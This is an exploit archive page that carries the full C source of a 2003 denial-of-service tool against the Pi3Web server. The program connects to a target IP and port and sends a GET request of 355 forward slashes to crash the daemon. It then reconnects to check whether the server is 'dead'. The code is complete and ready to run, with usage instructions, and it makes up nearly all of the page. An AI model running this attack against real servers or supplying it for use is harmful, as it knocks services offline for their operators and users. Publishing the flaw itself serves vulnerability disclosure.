what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pi3web-DoS.c

Pi3web-DoS.c
Posted May 23, 2003
Authored by Angelo Rosiello, rosiello | Site rosiello.org

A simple denial of service exists in the Pi3 webserver that allows a remote attacker to crash the daemon by feeding it a GET request with 354+ forward slashes after it.

tags | exploit, remote, denial of service
SHA-256 | d0d216a28eaf4658a4d2b9ad6dbe5182010977d617055973a17d6620ae03dea4

Pi3web-DoS.c

Change Mirror Download
/* 
* Rosiello Security
*
* http://www.rosiello.org
* http://dtors.net
*
* Unix Version of the Pi3web DoS.
* ----------------------------------------------------------
* Info: Pi3Web Server is vulnerable to a denial of Service.
* ----------------------------------------------------------
* VULNERABILITY:
* GET //// <- 354
*
* The bug was found by aT4r@3wdesign.es 04/26/2003
* www.3wdesign.es Security
* ----------------------------------------------------------
* Unix Version Credits.
* AUTHOR : Angelo Rosiello
* CONTACT: angelo@rosiello.org, angelo@dtors.net
*
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <assert.h>

void addr_initialize();

int main(int argc, char **argv)
{
int i, port, sd, rc;
char buffer[355];
char *get = "GET";
char packet[360];
struct sockaddr_in server;

if(argc > 3 || argc < 2)
{
printf("USAGE: %s IP PORT\n", argv[0]);
printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");
exit(0);
}
if(argc == 2) port = 80;
else port = atoi(argv[2]);

for(i = 0; i < 355; i++) buffer[i] = '/'; //Build the malformed request
sprintf(packet, "%s %s\n", get, buffer);
addr_initialize(&server, port, (long)inet_addr(argv[1]));

sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd < 0) perror("Socket");
assert(sd >= 0);
rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
if(rc != 0) perror("Connect");
assert(rc == 0);
printf("\n\t\t(c) 2003 DTORS Security\n");
printf("\t\tUnix Version DoS for Pi3web\n");
printf("\t\tby Angelo Rosiello\n\n");
write(sd, packet, strlen(packet)); //Caput!
printf("Malformed packet sent!\n");
close(sd);

printf("Checking if the server crashed...\n");
sleep(3);

sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd < 0) perror("Socket");
assert(sd >= 0);
rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
if(rc != 0)
{
printf("The server is dead!\n");
exit(0);
}
else if(rc == 0) printf("The server is not vulnerable!\n");
close(sd);
exit(0);
}

void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
address -> sin_family = AF_INET;
address -> sin_port = htons((u_short)port);
address -> sin_addr.s_addr = IPaddr;
}

/*EOF*/
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close